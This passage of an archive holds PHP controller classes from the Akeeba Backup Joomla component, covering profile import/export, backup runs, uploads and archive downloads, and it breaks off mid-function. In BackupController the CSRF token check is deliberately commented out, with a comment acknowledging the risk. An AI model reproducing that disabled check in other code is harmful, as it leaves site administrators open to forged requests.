}PK     \    $  src/Controller/UpgradeController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') or die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerRegisterTasksTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\UpgradeModel;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Uri\Uri;

class UpgradeController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;
	use ControllerRegisterTasksTrait;
	use ControllerReusableModelsTrait;

	public function main($cachable = false, $urlparams = [])
	{
		if (version_compare(JVERSION, '4.4.999999', 'gt'))
		{
			throw new \RuntimeException('Migration from Akeeba Backup 8 is not supported on Joomla! 5.0 and later versions.');
		}

		/** @var UpgradeModel $model */
		$model = $this->getModel('Upgrade', 'Administrator');
		$model->init();

		$this->display($cachable, $urlparams);
	}

	public function migrate($cachable = false, $urlparams = [])
	{
		if (version_compare(JVERSION, '4.4.999999', 'gt'))
		{
			throw new \RuntimeException('Migration from Akeeba Backup 8 is not supported on Joomla! 5.0 and later versions.');
		}

		$this->checkToken('get');

		/** @var UpgradeModel $model */
		$model = $this->getModel('Upgrade', 'Administrator');
		$model->init();

		$results = $model->runCustomHandlerEvent('onMigrateSettings');
		$success = in_array(true, $results, true);

		$redirect = Uri::base() . 'index.php?option=com_akeebabackup';
		$message  = Text::_('COM_AKEEBABACKUP_UPGRADE_LBL_' . ($success ? 'success' : 'fail'));

		$this->setRedirect($redirect, $message, $success ? 'success' : 'error');
	}
}PK     \y    $  src/Controller/BrowserController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') or die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerRegisterTasksTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\BrowserModel;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\Input\Input;

class BrowserController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;
	use ControllerRegisterTasksTrait;
	use ControllerReusableModelsTrait;

	/**
	 * The default view.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $default_view = 'Browser';

	public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->registerControllerTasks('main');
	}

	public function onBeforeMain()
	{
		$folder        = $this->input->get('folder', '', 'string');
		$processFolder = $this->input->get('processfolder', 0, 'int');

		/** @var BrowserModel $model */
		$model = $this->getModel('Browser', 'Administrator', ['base_path' => $this->basePath]);
		$model->setState('folder', $folder);
		$model->setState('processfolder', $processFolder);
		$model->makeListing();
	}

	public function main()
	{
		$this->display(false);
	}


}PK     \    +  src/Controller/IncludefoldersController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerAjaxTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerProfileAccessTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerProfileRestrictionTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\Input\Input;

class IncludefoldersController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait
	{
		ControllerCustomACLTrait::onBeforeExecute as onBeforeExecuteACL;
	}
	use ControllerProfileRestrictionTrait
	{
		ControllerProfileRestrictionTrait::onBeforeExecute as onBeforeExecuteRestrictedProfile;
	}
	use ControllerReusableModelsTrait;
	use ControllerAjaxTrait;
	use ControllerProfileAccessTrait;

	public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->decodeJsonAsArray = true;
	}

	protected function onBeforeExecute(&$task)
	{
		$this->onBeforeExecuteACL($task);
		$this->onBeforeExecuteRestrictedProfile($task);
	}
}PK     \;K  K  %  src/Controller/ProfilesController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfileModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfilesModel;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\AdminController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Input\Input;
use Joomla\Utilities\ArrayHelper;
use RuntimeException;

class ProfilesController extends AdminController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;

	protected $text_prefix = 'COM_AKEEBABACKUP_PROFILES';

	/**
	 * Constructor.
	 *
	 * @param   array                $config   An optional associative array of configuration settings.
	 *                                         Recognized key values include 'name', 'default_task', 'model_path', and
	 *                                         'view_path' (this list is not meant to be comprehensive).
	 * @param   MVCFactoryInterface  $factory  The factory.
	 * @param   CMSApplication       $app      The JApplication for the dispatcher
	 * @param   Input                $input    Input
	 *
	 * @since   9.0.0
	 */
	public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->registerTask('import', 'import');
		$this->registerTask('copy', 'copy');
		$this->registerTask('reset', 'reset');
	}

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  \Joomla\CMS\MVC\Model\BaseDatabaseModel|ProfileModel  The model.
	 *
	 * @since   9.0.0
	 */
	public function getModel($name = 'Profile', $prefix = 'Administrator', $config = ['ignore_request' => true])
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Imports an exported profile .json file
	 */
	public function import()
	{
		$this->checkToken();

		if (!$this->app->getIdentity()->authorise('akeebabackup.configure', 'com_akeebabackup'))
		{
			throw new RuntimeException(Text::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		/** @var ProfilesModel $model */
		$model = $this->getModel('Profiles', 'Administrator');

		// Get some data from the request
		$file = $this->input->files->get('importfile', [], 'array');

		if (!isset($file['name']))
		{
			$this->setRedirect(Uri::base() . 'index.php?option=com_akeebabackup&view=Profiles', Text::_('MSG_UPLOAD_INVALID_REQUEST'), 'error');

			return;
		}

		// Load the file data
		$data = @file_get_contents($file['tmp_name']);
		@unlink($file['tmp_name']);

		// JSON decode
		$data = json_decode($data, true);

		// Import
		$message     = Text::_('COM_AKEEBABACKUP_PROFILES_MSG_IMPORT_COMPLETE');
		$messageType = null;

		try
		{
			$newProfileId = $model->import($data);
		}
		catch (RuntimeException $e)
		{
			$message     = $e->getMessage();
			$messageType = 'error';
		}

		$this->triggerEvent('onAfterImport', [$newProfileId]);

		// Redirect back to the main page
		$this->setRedirect(Uri::base() . 'index.php?option=com_akeebabackup&view=Profiles', $message, $messageType);
	}

	public function copy()
	{
		// Check for request forgeries.
		$this->checkToken();

		// Get the input
		$pks = $this->input->post->get('cid', [], 'array');

		// Sanitize the input
		$pks = ArrayHelper::toInteger($pks);

		// Get the Profile model
		/** @var ProfileModel $model */
		$model  = $this->getModel('Profile', 'Administrator');
		$result = null;

		foreach ($pks as $pk)
		{
			$item = $model->getItem($pk);

			if ($item === false)
			{
				continue;
			}

			$data = (array) $item;

			unset($data['id']);

			try
			{
				$result = $model->save($data);
				$error  = null;
			}
			catch (\Exception $e)
			{
				$result = false;
				$error  = $e->getMessage();
			}

			if ($result === false && $error === null)
			{
				/** @deprecated 10.1.0 Only for Joomla 4 b/c. Remove in 11. */
				/** @noinspection PhpDeprecationInspection */
				$error = $model->getError();
			}

			if ($result === false)
			{
				break;
			}
		}

		$redirect = Route::_('index.php?option=com_akeebabackup&view=Profiles' . $this->getRedirectToListAppend(), false);

		if ($result === false)
		{
			// Reorder failed
			$message = Text::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $error);
			$this->setRedirect($redirect, $message, 'error');

			return false;
		}

		// Copying succeeded.
		$this->setMessage(Text::_('JLIB_APPLICATION_SUCCESS_BATCH'));
		$this->setRedirect($redirect);

		return true;
	}

	public function reset()
	{
		// Check for request forgeries.
		$this->checkToken();

		// Get the input
		$pks = $this->input->post->get('cid', [], 'array');

		// Sanitize the input
		$pks = ArrayHelper::toInteger($pks);

		// Get the Profile model
		/** @var ProfileModel $model */
		$model  = $this->getModel('Profile', 'Administrator');
		$result = null;
		$count = 0;

		foreach ($pks as $pk)
		{
			try
			{
				$result = $model->resetConfiguration($pk);
				$error  = null;
			}
			catch (\Exception $e)
			{
				$result = false;
				$error  = $e->getMessage();
			}

			if ($result === false && $error === null)
			{
				/** @deprecated 10.1.0 Only for Joomla 4 b/c. Remove in 11. */
				/** @noinspection PhpDeprecationInspection */
				$error = $model->getError();
			}

			if ($result === false)
			{
				break;
			}

			$count++;
		}

		$redirect = Route::_('index.php?option=com_akeebabackup&view=Profiles' . $this->getRedirectToListAppend(), false);

		if ($result === false)
		{
			// Reorder failed
			$message = Text::sprintf('COM_AKEEBABACKUP_PROFILES_ERROR_RESET_FAILED', $error);
			$this->setRedirect($redirect, $message, 'error');

			return false;
		}

		// Copying succeeded.
		$this->setMessage(Text::plural('COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET', $count));
		$this->setRedirect($redirect);

		return true;
	}

}PK     \AK*O  O  #  src/Controller/UploadController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\GetErrorsFromExceptionsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\UploadModel;
use Akeeba\Component\AkeebaBackup\Administrator\View\Upload\HtmlView as UploadView;
use Akeeba\Engine\Platform;
use Exception;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\Uri\Uri;

class UploadController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;
	use ControllerReusableModelsTrait;
	use GetErrorsFromExceptionsTrait;

	/**
	 * Start the upload to remtoe storage
	 *
	 * @return  void
	 * @throws  Exception
	 */
	public function upload()
	{
		// Get the parameters from the URL
		$id   = $this->getAndCheckId();
		$part = $this->input->get('part', 0, 'int');
		$frag = $this->input->get('frag', 0, 'int');

		// Check the backup stat ID
		if ($id === false)
		{
			$url = Uri::base() . 'index.php?option=com_akeebabackup&view=Upload&tmpl=component&task=cancelled&id=' . $id;
			$this->setRedirect($url, Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_INVALIDID'), 'error');

			return;
		}

		if (($part == -1) && ($frag == -1))
		{
			$this->triggerEvent('onStart', [$id]);
		}

		$part = max($part, 0);
		$frag = max($frag, 0);

		/**
		 * Get the View and initialize its layout
		 * @var UploadView $view
		 */
		$view        = $this->getView('upload', 'html');
		$view->done  = 0;
		$view->error = 0;
		$result      = false;

		$view->setLayout('uploading');

		$hasError = false;

		try
		{
			/** @var UploadModel $model */
			$model  = $this->getModel('Upload', 'Administrator');
			$result = $model->upload($id, $part, $frag);
		}
		catch (Exception $e)
		{
			$hasError = true;
		}

		// Get the modified model state
		$part = $model->getState('part');
		$stat = $model->getState('stat');
		$frag = $model->getState('frag');

		// Push the state to the view. We assume we have to continue uploading. We only change that if we detect an
		// upload completion or error condition in the if-blocks further below.
		$view->parts = $stat['multipart'];
		$view->part  = $part;
		$view->frag  = $frag;
		$view->id    = $id;

		if ($hasError)
		{
			// If we have an error we have to display it and stop the upload
			$view->done         = 0;
			$view->error        = 1;
			$view->errorMessage = implode("\n", $this->getErrorsFromExceptions($e));

			$view->setLayout('error');

			// Also reset the saved post-processing engine
			$this->app->getSession()->remove('akeebabackup.upload_factory');
		}
		elseif (($part >= 0) && ($result === true))
		{
			// If we are told the upload finished successfully we can display the "done" page
			$view->setLayout('done');
			$view->done  = 1;
			$view->error = 0;

			// Also reset the saved post-processing engine
			$this->app->getSession()->remove('akeebabackup.upload_factory');
		}

		$view->setDocument($this->app->getDocument());
		$view->setModel($model, true);
		$view->display();
	}

	/**
	 * This task is called when we have to cancel the upload
	 *
	 * @return  void
	 * @throws  Exception
	 */
	public function cancelled()
	{
		/** @var UploadView $view */
		$view = $this->getView('upload', 'html');
		$view->setLayout('error');

		$view->setDocument($this->app->getDocument());
		$view->setModel($this->getModel('Upload', 'Administrator'), true);
		$view->display();
	}

	/**
	 * Start uploading
	 *
	 * @return  void
	 * @throws  Exception
	 */
	public function start()
	{
		$id = $this->getAndCheckId();

		// Check the backup stat ID
		if ($id === false)
		{
			$url = Uri::base() . 'index.php?option=com_akeebabackup&view=Upload&tmpl=component&task=cancelled&id=' . $id;
			$this->setRedirect($url, Text::_('COM_AKEEBABACKUP_TRANSFER_ERR_INVALIDID'), 'error');

			return;
		}

		// Start by resetting the saved post-processing engine
		$this->app->getSession()->remove('akeebabackup.upload_factory');

		// Initialise the view
		/** @var UploadView $view */
		$view = $this->getView('upload', 'html');

		$view->done  = 0;
		$view->error = 0;

		$view->id = $id;
		$view->setLayout('default');

		$view->setDocument($this->app->getDocument());
		$view->setModel($this->getModel('Upload', 'Administrator'), true);
		$view->display();
	}

	/**
	 * Gets the stats record ID from the request and checks that it does exist
	 *
	 * @return bool|int False if an invalid ID is found, the numeric ID if it's valid
	 */
	private function getAndCheckId()
	{
		$id = $this->input->get('id', 0, 'int');

		if ($id <= 0)
		{
			return false;
		}

		$statObject = Platform::getInstance()->get_statistics($id);

		if (empty($statObject) || !is_array($statObject))
		{
			return false;
		}

		return $id;
	}
}PK     \AG    (  src/Controller/FilefiltersController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerAjaxTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;

class FilefiltersController extends DatabasefiltersController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;
	use ControllerReusableModelsTrait;
	use ControllerAjaxTrait;
}PK     \c>  >  $  src/Controller/ProfileController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfileModel;
use Akeeba\Engine\Factory;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Document\JsonDocument;
use Joomla\CMS\Form\FormFactoryInterface;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\FormController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\Input\Input;
use RuntimeException;

class ProfileController extends FormController
{
	use ControllerEventsTrait;

	protected $text_prefix = 'COM_AKEEBABACKUP_PROFILE';

	public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null, ?FormFactoryInterface $formFactory = null)
	{
		parent::__construct($config, $factory, $app, $input, $formFactory);

		$this->registerTask('export', 'export');
	}

	public function export($cachable = false, $urlparams = [])
	{
		$this->checkToken('request');

		if (!$this->app->getIdentity()->authorise('akeebabackup.configure', 'com_akeebabackup'))
		{
			throw new RuntimeException(Text::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		/** @var ProfileModel $model */
		$model = $this->getModel('Profile', 'Administrator');
		$id    = $this->input->getInt('id');

		if (empty($id))
		{
			throw new RuntimeException(Text::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		$item = $model->getItem($id);

		if ($item === false)
		{
			throw new RuntimeException(Text::_('JERROR_ALERTNOAUTHOR'), 403);
		}

		if (substr($item->configuration, 0, 12) == '###AES128###')
		{
			// Load the server key file if necessary
			if (!defined('AKEEBA_SERVERKEY'))
			{
				$filename = JPATH_ADMINISTRATOR . '/components/com_akeebabackup/serverkey.php';

				include_once $filename;
			}

			$key = Factory::getSecureSettings()->getKey();

			$item->configuration = Factory::getSecureSettings()->decryptSettings($item->configuration, $key);
		}

		$this->triggerEvent('onBeforeExport', [$id]);

		$data = [
			'description'   => $item->description,
			'configuration' => $item->configuration,
			'filters'       => $item->filters,
			'quickicon'     => $item->quickicon,
		];

		$defaultName = $this->input->get('view', 'joomla', 'cmd');
		$filename    = $this->input->get('basename', $defaultName, 'cmd');

		/** @var JsonDocument $document */
		$document = $this->app->getDocument();
		$document->setName($filename);
		$document->setMimeEncoding('application/json');
		$this->app->setHeader('Content-Disposition', 'attachment; filename="profile.json"');

		echo json_encode($data, JSON_PRETTY_PRINT);
	}
}PK     \)1m  m  #  src/Controller/BackupController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Helper\Utils;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerProfileAccessTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerRegisterTasksTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\BackupModel;
use Akeeba\Engine\Platform;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\Input\Input;

class BackupController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;
	use ControllerRegisterTasksTrait;
	use ControllerProfileAccessTrait;

	private bool $noFlush = false;

	public function __construct(
		$config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null
	)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->noFlush = ComponentHelper::getParams('com_akeebabackup')->get('no_flush', 0) == 1;

		$this->registerControllerTasks();
	}

	/**
	 * This task handles the AJAX requests
	 */
	public function ajax()
	{
		$profile_id = $this->input->get('profileid', Platform::getInstance()->get_active_profile(), 'int');

		// Double check that the user is actually allowed to access this profile
		if (!$this->checkProfileAccess($profile_id))
		{
			$ret_array = [
				'HasRun'   => 0,
				'Domain'   => 'init',
				'Step'     => '',
				'Substep'  => '',
				'Error'    => Text::_('COM_AKEEBABACKUP_BACKUP_ERROR_PROFILE_NO_ACCESS'),
				'Warnings' => [],
				'Progress' => 0,
			];

			// We use this nasty trick to avoid broken 3PD plugins from barfing all over our output
			@ob_end_clean();
			header('Content-type: text/plain');
			header('Connection: close');
			echo '###' . json_encode($ret_array) . '###';

			if (!$this->noFlush)
			{
				flush();
			}

			$this->app->close();
		}

		/** @var BackupModel $model */
		$model = $this->getModel('Backup', 'Administrator');

		// Push all necessary information to the model's state
		$model->setState('profile', $profile_id);
		$model->setState('ajax', $this->input->get('ajax', '', 'cmd'));
		$model->setState('description', $this->input->get('description', '', 'string'));
		$model->setState('comment', $this->input->get('comment', '', 'html'));
		$model->setState('jpskey', $this->input->get('jpskey', '', 'raw'));
		$model->setState('angiekey', $this->input->get('angiekey', '', 'raw'));
		$model->setState('backupid', $this->input->get('backupid', null, 'cmd'));
		$model->setState('tag', $this->input->get('tag', 'backend', 'cmd'));
		$model->setState('errorMessage', $this->input->getString('errorMessage', ''));

		// System Restore Point backup state variables (obsolete)
		$model->setState('type', strtolower($this->input->get('type', '', 'cmd')));
		$model->setState('name', strtolower($this->input->get('name', '', 'cmd')));
		$model->setState('group', strtolower($this->input->get('group', '', 'cmd')));
		$model->setState('customdirs', $this->input->get('customdirs', [], 'array'));
		$model->setState('customfiles', $this->input->get('customfiles', [], 'array'));
		$model->setState('extraprefixes', $this->input->get('extraprefixes', [], 'array'));
		$model->setState('customtables', $this->input->get('customtables', [], 'array'));
		$model->setState('skiptables', $this->input->get('skiptables', [], 'array'));
		$model->setState('langfiles', $this->input->get('langfiles', [], 'array'));
		$model->setState('xmlname', $this->input->getString('xmlname', ''));

		// Set up the tag
		define('AKEEBA_BACKUP_ORIGIN', $this->input->get('tag', 'backend', 'cmd'));

		// Run the backup step
		$ret_array = $model->runBackup();

		// We use this nasty trick to avoid broken 3PD plugins from barfing all over our output
		@ob_end_clean();
		header('Content-type: text/plain');
		header('Connection: close');
		echo '###' . json_encode($ret_array) . '###';
		if (!$this->noFlush)
		{
			flush();
		}

		$this->app->close();
	}

	/**
	 * Default task; shows the initial page where the user selects a profile and enters description and comment
	 */
	public function display($cachable = false, $urlparams = [])
	{
		$document   = $this->app->getDocument();
		$viewType   = $document->getType();
		$viewName   = $this->input->get('view', $this->default_view);
		$viewLayout = $this->input->get('layout', 'default', 'string');

		$view = $this->getView(
			$viewName, $viewType, '',
			[
				'base_path' => $this->basePath,
				'layout'    => $viewLayout,
			]
		);

		// Push the Control Panel model
		$controlPanelModel = $this->getModel('Controlpanel', 'Administrator');
		$view->setModel($controlPanelModel, false);

		// Get/Create the default model
		/** @var BackupModel $model */
		$model = $this->getModel('Backup', 'Administrator');
		$view->setModel($model, true);

		// Push the document
		$view->document = $document;

		// Did the user ask to switch the active profile?
		$newProfile = $this->input->get('profileid', -10, 'int');
		$autostart  = $this->input->get('autostart', 0, 'int');

		if (is_numeric($newProfile) && ($newProfile > 0))
		{
			/**
			 * We have to remove CSRF protection due to the way the Joomla administrator menu manager works. Menu item
			 * options are passed as URL parameters. However, we cannot pass dynamic parameters (like the token). This
			 * means that a user can create a menu item with a specific backup profile ID. Normally this would cause a
			 * 403 which is frustrating to the user because they might want to give their client the option to run a
			 * backup with a specific profile AND let them enter a description and comment. Therefore we have to remove
			 * the CSRF protection.
			 *
			 * NB! We do understand the potential risk involved. Between Joomla's BAD implementation of custom
			 * administrator menus and user demands for features we have to (have these very vocal users and everyone
			 * else) assume that (actually really small) risk.
			 */
			// $this->checkToken();
			$this->app->getSession()->set('akeebabackup.profile', $newProfile);

			/**
			 * DO NOT REMOVE!
			 *
			 * The Model will only try to load the configuration after nuking the factory. This causes Profile 1 to be
			 * loaded first. Then it figures out it needs to load a different profile and it does – but the protected keys
			 * are NOT replaced, meaning that certain configuration parameters are not replaced. Most notably, the chain.
			 * This causes backups to behave weirdly. So, DON'T REMOVE THIS UNLESS WE REFACTOR THE MODEL.
			 */
			Platform::getInstance()->load_configuration($newProfile);
		}

		// Deactivate the menus
		$this->app->getInput()->set('hidemainmenu', 1);

		// Sanitize the return URL
		$returnUrl = $this->input->getRaw('returnurl', '');
		$returnUrl = Utils::safeDecodeReturnUrl($returnUrl);

		// Push data to the model
		//var_dump($model->getState('profile'));
		$model->setState('profile', $this->input->get('profileid', -10, 'int'));
		$model->setState('description', $this->input->get('description', '', 'string'));
		$model->setState('comment', $this->input->get('comment', '', 'html'));
		$model->setState('ajax', $this->input->get('ajax', '', 'cmd'));
		$model->setState('autostart', $autostart);
		$model->setState('jpskey', $this->input->get('jpskey', '', 'raw'));
		$model->setState('angiekey', $this->input->get('angiekey', '', 'raw'));
		$model->setState('returnurl', $returnUrl);
		$model->setState('backupid', $this->input->get('backupid', null, 'cmd'));

		$view->display();

		return $this;
	}
}PK     \fG0  0  #  src/Controller/ManageController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\StatisticModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\StatisticsModel;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\AdminController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Uri\Uri;
use Joomla\Input\Input;

class ManageController extends AdminController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;

	protected $text_prefix = 'COM_AKEEBABACKUP_BUADMIN';

	private bool $noFlush = false;

	public function __construct(
		$config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null
	)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->noFlush = ComponentHelper::getParams('com_akeebabackup')->get('no_flush', 0) == 1;

		$this->registerTask('download', 'download');
		$this->registerTask('remove', 'remove');
		$this->registerTask('deletefiles', 'deletefiles');
		$this->registerTask('hidemodal', 'hidemodal');
	}

	public function getModel($name = '', $prefix = '', $config = [])
	{
		$name = $name ?: 'Statistic';

		return parent::getModel($name, $prefix, $config);
	}

	public function display($cachable = false, $urlparams = [])
	{
		$document   = $this->app->getDocument();
		$viewType   = $document->getType();
		$viewName   = $this->input->get('view', $this->default_view);
		$viewLayout = $this->input->get('layout', 'default', 'string');

		$view = $this->getView($viewName, $viewType, '', ['base_path' => $this->basePath, 'layout' => $viewLayout]);

		// Push the models
		$view->setModel($this->getModel('Statistics', 'Administrator'), true);
		$view->setModel($this->getModel('Profiles', 'Administrator'));

		// Push the document
		$view->document = $document;

		// Display the view
		$view->display();

		return $this;
	}


	/**
	 * Downloads the backup archive of the specified backup record
	 *
	 * @return  void
	 */
	public function download()
	{
		$this->checkToken('get');

		// Get items to publish from the request.
		$id   = $this->input->getInt('id', 0);
		$part = $this->input->get('part', -1, 'int');

		if ($id <= 0)
		{
			$this->setRedirect(
				Uri::base() . 'index.php?option=com_akeebabackup&view=Manage',
				Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID'), 'error'
			);

			return;
		}

		$stat         = Platform::getInstance()->get_statistics($id);
		$allFilenames = Factory::getStatistics()->get_all_filenames($stat);

		$filename = null;

		// Check single part files
		$countAllFilenames = $allFilenames === null ? 0 : count($allFilenames);

		if (($countAllFilenames == 1) && ($part == -1))
		{
			$filename = array_shift($allFilenames);
		}
		elseif (($countAllFilenames > 0) && ($countAllFilenames > $part) && ($part >= 0))
		{
			$filename = $allFilenames[$part];
		}

		if (is_null($filename) || empty($filename) || !@file_exists($filename))
		{
			$this->setRedirect(
				Uri::base() . 'index.php?option=com_akeebabackup&view=Manage',
				Text::_('COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDDOWNLOAD'), 'error'
			);

			return;
		}

		$this->triggerEvent('onBeforeDownload', [$id, $part ?: 1]);

		// Remove php's time limit
		if (function_exists('ini_get') && function_exists('set_time_limit'))
		{
			if (!ini_get('safe_mode'))
			{
				@set_time_limit(0);
